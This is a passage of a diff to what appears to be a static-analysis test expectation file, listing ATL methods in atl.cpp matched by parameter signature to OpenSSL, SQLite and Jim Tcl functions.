ossl_dh_new_by_nid_ex | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (PKCS7 *,int) | | PKCS7_set_type | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (RSA *,int) | | RSA_clear_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (RSA *,int) | | RSA_set_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (RSA_METHOD *,int) | | RSA_meth_set_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (SSL *,int) | | SSL_key_update | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (SSL *,int) | | SSL_set_post_handshake_auth | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (SSL *,int) | | SSL_set_purpose | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (SSL *,int) | | SSL_set_quiet_shutdown | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (SSL *,int) | | SSL_set_read_ahead | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (SSL *,int) | | SSL_set_security_level | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (SSL *,int) | | SSL_set_shutdown | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (SSL *,int) | | SSL_set_trust | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (SSL *,int) | | SSL_set_verify_depth | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (SSL_CONNECTION *,int) | | dtls1_read_failed | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (SSL_CONNECTION *,int) | | tls1_shared_group | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (SSL_CTX *,int) | | SSL_CTX_set_purpose | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (SSL_CTX *,int) | | SSL_CTX_set_security_level | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (SSL_CTX *,int) | | SSL_CTX_set_trust | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (SSL_CTX *,int) | | ssl_md | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (TS_REQ *,int) | | TS_REQ_delete_ext | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (TS_REQ *,int) | | TS_REQ_get_ext | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (WPACKET *,int) | | ossl_DER_w_begin_sequence | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (X509 *,int) | | X509_delete_ext | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (X509 *,int) | | X509_self_signed | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (X509_ACERT *,int) | | X509_ACERT_delete_attr | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (X509_CRL *,int) | | X509_CRL_delete_ext | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (X509_NAME *,int) | | X509_NAME_delete_entry | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (X509_REQ *,int) | | X509_REQ_delete_attr | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (X509_STORE *,int) | | X509_STORE_set_depth | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (X509_STORE *,int) | | X509_STORE_set_purpose | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (X509_STORE *,int) | | X509_STORE_set_trust | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (acttab *,int) | | acttab_insert | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (char *,int) | | PEM_proc_type | 1 | | atl.cpp:427:13:427:23 | AppendBytes | (char,int) | CStringT | CStringT | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const BIGNUM *,int) | | BN_get_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const BIGNUM *,int) | | BN_is_bit_set | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const BIO *,int) | | BIO_get_ex_data | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const BIO *,int) | | BIO_test_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const DH *,int) | | DH_get_ex_data | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const DH *,int) | | DH_test_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const DH *,int) | | ossl_dh_dup | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const DSA *,int) | | DSA_get_ex_data | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const DSA *,int) | | DSA_test_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const DSA *,int) | | ossl_dsa_dup | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const ECX_KEY *,int) | | ossl_ecx_key_dup | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const EC_KEY *,int) | | EC_KEY_get_ex_data | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const EC_KEY *,int) | | ossl_ec_key_dup | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const ENGINE *,int) | | ENGINE_get_ex_data | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const RSA *,int) | | RSA_get_ex_data | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const RSA *,int) | | RSA_test_flags | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const RSA *,int) | | ossl_rsa_dup | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const SSL *,int) | | SSL_get_ex_data | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const SSL_SESSION *,int) | | ssl_session_dup | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const UI *,int) | | UI_get_ex_data | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const UI_METHOD *,int) | | UI_method_get_ex_data | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const X509 *,int) | | X509_get_ex_data | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const X509 *,int) | | X509_get_ext | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const X509_ACERT *,int) | | X509_ACERT_get_attr | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const X509_CRL *,int) | | X509_CRL_get_ext | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const X509_NAME *,int) | | X509_NAME_get_entry | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const X509_REQ *,int) | | X509_REQ_get_attr | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const X509_STORE *,int) | | X509_STORE_get_ex_data | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const X509_STORE_CTX *,int) | | X509_STORE_CTX_get_ex_data | 1 | | atl.cpp:427:13:427:23 | AppendBytes | (const XCHAR *,int) | CStringT | CStringT | 1 | | atl.cpp:427:13:427:23 | AppendBytes | (const YCHAR *,int) | CStringT | CStringT | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const char *,int) | | DH_meth_new | 0 | +| atl.cpp:427:13:427:23 | AppendBytes | (const char *,int) | | DH_meth_new | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const char *,int) | | DSA_meth_new | 0 | +| atl.cpp:427:13:427:23 | AppendBytes | (const char *,int) | | DSA_meth_new | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const char *,int) | | Jim_StrDupLen | 0 | +| atl.cpp:427:13:427:23 | AppendBytes | (const char *,int) | | Jim_StrDupLen | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const char *,int) | | NETSCAPE_SPKI_b64_decode | 0 | +| atl.cpp:427:13:427:23 | AppendBytes | (const char *,int) | | NETSCAPE_SPKI_b64_decode | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const char *,int) | | RSA_meth_new | 0 | +| atl.cpp:427:13:427:23 | AppendBytes | (const char *,int) | | RSA_meth_new | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const char *,int) | | parse_yesno | 0 | +| atl.cpp:427:13:427:23 | AppendBytes | (const char *,int) | | parse_yesno | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const unsigned char *,int) | | Jim_GenHashFunction | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const unsigned char *,int) | | OPENSSL_uni2asc | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (const unsigned char *,int) | | OPENSSL_uni2utf8 | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (int *,int) | | X509_PURPOSE_set | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (int *,int) | | X509_TRUST_set | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (int,int) | | BN_security_bits | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (int,int) | | EVP_MD_meth_new | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (int,int) | | EVP_PKEY_meth_new | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (int,int) | | acttab_alloc | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (rule *,int) | | Configlist_add | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (rule *,int) | | Configlist_addbasis | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (sqlite3 *,int) | | sqlite3_busy_timeout | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (sqlite3 *,int) | | sqlite3_db_name | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (sqlite3_backup *,int) | | sqlite3_backup_step | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (sqlite3_context *,int) | | sqlite3_aggregate_context | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (sqlite3_context *,int) | | sqlite3_result_error_code | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (sqlite3_stmt *,int) | | sqlite3_column_blob | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (sqlite3_stmt *,int) | | sqlite3_column_bytes | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (sqlite3_stmt *,int) | | sqlite3_column_decltype | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (sqlite3_stmt *,int) | | sqlite3_column_decltype16 | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (sqlite3_stmt *,int) | | sqlite3_column_double | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (sqlite3_stmt *,int) | | sqlite3_column_int | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (sqlite3_stmt *,int) | | sqlite3_column_int64 | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (sqlite3_stmt *,int) | | sqlite3_column_name | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (sqlite3_stmt *,int) | | sqlite3_column_name16 | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (sqlite3_stmt *,int) | | sqlite3_column_text | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (sqlite3_stmt *,int) | | sqlite3_column_text16 | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (sqlite3_stmt *,int) | | sqlite3_column_type | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (sqlite3_stmt *,int) | | sqlite3_column_value | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (uint16_t,int) | | tls1_group_id2nid | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (unsigned char *,int) | | RAND_bytes | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (unsigned char *,int) | | RAND_priv_bytes | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (unsigned char *,int) | | ossl_ipaddr_to_asc | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (unsigned short,int) | | dtls1_get_queue_priority | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (void *,int) | | DSO_dsobyaddr | 1 | +| atl.cpp:427:13:427:23 | AppendBytes | (void *,int) | | sqlite3_realloc | 1 | | atl.cpp:427:13:427:23 | AppendBytes | (wchar_t,int) | CStringT | CStringT | 1 | | atl.cpp:428:13:428:23 | ArrayToBSTR | (const SAFEARRAY *) | CComSafeArray | Add | 0 | | atl.cpp:428:13:428:23 | ArrayToBSTR | (const SAFEARRAY *) | CComSafeArray | CComSafeArray | 0 | | atl.cpp:428:13:428:23 | ArrayToBSTR | (const SAFEARRAY *) | CComSafeArray | operator= | 0 | | atl.cpp:430:10:430:15 | Attach | (wchar_t *) | CStringT | CStringT | 0 | +| atl.cpp:440:10:440:19 | LoadString | (ASN1_STRING *,unsigned int) | | ossl_asn1_string_set_bits_left | 1 | +| atl.cpp:440:10:440:19 | LoadString | (EC_KEY *,unsigned int) | | EC_KEY_set_enc_flags | 1 | +| atl.cpp:440:10:440:19 | LoadString | (EVP_ENCODE_CTX *,unsigned int) | | evp_encode_ctx_set_flags | 1 | +| atl.cpp:440:10:440:19 | LoadString | (FFC_PARAMS *,unsigned int) | | ossl_ffc_params_set_flags | 1 | | atl.cpp:440:10:440:19 | LoadString | (HINSTANCE,UINT) | CComBSTR | LoadString | 0 | | atl.cpp:440:10:440:19 | LoadString | (HINSTANCE,UINT) | CComBSTR | LoadString | 1 | +| atl.cpp:440:10:440:19 | LoadString | (OSSL_PARAM *,unsigned int) | | OSSL_PARAM_set_uint | 1 | +| atl.cpp:440:10:440:19 | LoadString | (QUIC_DEMUX *,unsigned int) | | ossl_quic_demux_set_mtu | 1 | +| atl.cpp:440:10:440:19 | LoadString | (QUIC_OBJ *,unsigned int) | | ossl_quic_obj_set_blocking_mode | 1 | +| atl.cpp:440:10:440:19 | LoadString | (RAND_POOL *,unsigned int) | | ossl_rand_pool_bytes_needed | 1 | +| atl.cpp:440:10:440:19 | LoadString | (SSL *,unsigned int) | | SSL_set_hostflags | 1 | +| atl.cpp:440:10:440:19 | LoadString | (SSL_CONF_CTX *,unsigned int) | | SSL_CONF_CTX_clear_flags | 1 | +| atl.cpp:440:10:440:19 | LoadString | (SSL_CONF_CTX *,unsigned int) | | SSL_CONF_CTX_set_flags | 1 | +| atl.cpp:440:10:440:19 | LoadString | (TS_RESP_CTX *,unsigned int) | | TS_RESP_CTX_set_clock_precision_digits | 1 | +| atl.cpp:440:10:440:19 | LoadString | (WPACKET *,unsigned int) | | WPACKET_set_flags | 1 | +| atl.cpp:440:10:440:19 | LoadString | (X509_STORE_CTX *,unsigned int) | | X509_STORE_CTX_set_current_reasons | 1 | +| atl.cpp:440:10:440:19 | LoadString | (X509_VERIFY_PARAM *,unsigned int) | | X509_VERIFY_PARAM_set_hostflags | 1 | +| atl.cpp:440:10:440:19 | LoadString | (char *,unsigned int) | | utf8_fromunicode | 1 | | atl.cpp:441:10:441:19 | LoadString | (UINT) | CComBSTR | LoadString | 0 | | atl.cpp:441:10:441:19 | LoadString | (UINT) | _U_STRINGorID | _U_STRINGorID | 0 | +| atl.cpp:441:10:441:19 | LoadString | (unsigned int) | | Jim_IntHashFunction | 0 | +| atl.cpp:441:10:441:19 | LoadString | (unsigned int) | | ssl3_get_cipher | 0 | | atl.cpp:449:15:449:24 | operator+= | (const CComBSTR &) | CComBSTR | Append | 0 | | atl.cpp:449:15:449:24 | operator+= | (const CComBSTR &) | CComBSTR | CComBSTR | 0 | | atl.cpp:450:15:450:24 | operator+= | (LPCOLESTR) | CComBSTR | Append | 0 | @@ -63,6 +1079,34 @@ signatureMatches | atl.cpp:544:13:544:15 | Add | (const SAFEARRAY *) | CComSafeArray | operator= | 0 | | atl.cpp:546:13:546:15 | Add | (const T &,BOOL) | CComSafeArray | Add | 0 | | atl.cpp:546:13:546:15 | Add | (const T &,BOOL) | CComSafeArray | Add | 1 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | ASN1_STRING_type_new | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | ASN1_tag2bit | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | ASN1_tag2str | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | EVP_PKEY_asn1_get0 | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | Jim_ReturnCode | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | Jim_SignalId | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | OBJ_nid2ln | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | OBJ_nid2obj | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | OBJ_nid2sn | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | OSSL_STORE_INFO_type_string | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | OSSL_trace_get_category_name | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | PKCS12_init | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | Symbol_Nth | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | X509_PURPOSE_get0 | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | X509_PURPOSE_get_by_id | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | X509_TRUST_get0 | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | X509_TRUST_get_by_id | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | evp_pkey_type2name | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | ossl_cmp_bodytype_to_string | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | ossl_tolower | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | ossl_toupper | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | pulldown_test_framework | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | sqlite3_compileoption_get | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | sqlite3_errstr | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | tls1_alert_code | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | tls13_alert_code | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | wait_until_sock_readable | 0 | | atl.cpp:612:5:612:10 | CPathT | (PCXSTR) | | operator+= | 0 | | atl.cpp:612:5:612:10 | CPathT | (PCXSTR) | CSimpleStringT | operator+= | 0 | | atl.cpp:612:5:612:10 | CPathT | (PCXSTR) | CStringT | operator= | 0 | @@ -82,6 +1126,34 @@ signatureMatches | atl.cpp:659:25:659:34 | operator+= | (PCXSTR) | | operator+= | 0 | | atl.cpp:659:25:659:34 | operator+= | (PCXSTR) | CSimpleStringT | operator+= | 0 | | atl.cpp:659:25:659:34 | operator+= | (PCXSTR) | CStringT | operator= | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | ASN1_STRING_type_new | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | ASN1_tag2bit | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | ASN1_tag2str | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | EVP_PKEY_asn1_get0 | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | Jim_ReturnCode | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | Jim_SignalId | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | OBJ_nid2ln | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | OBJ_nid2obj | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | OBJ_nid2sn | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | OSSL_STORE_INFO_type_string | 0 | +| atl.cpp:731:8:731:17 | operator[] | 